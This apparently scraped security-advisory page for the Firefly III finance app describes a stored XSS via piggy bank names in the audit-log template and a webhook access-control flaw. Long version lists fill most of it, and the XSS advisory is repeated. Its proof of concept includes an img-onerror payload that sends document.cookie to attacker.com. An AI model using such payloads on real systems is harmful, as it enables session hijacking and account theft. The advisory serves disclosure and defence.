            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 14, 2026

v6.4.19 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


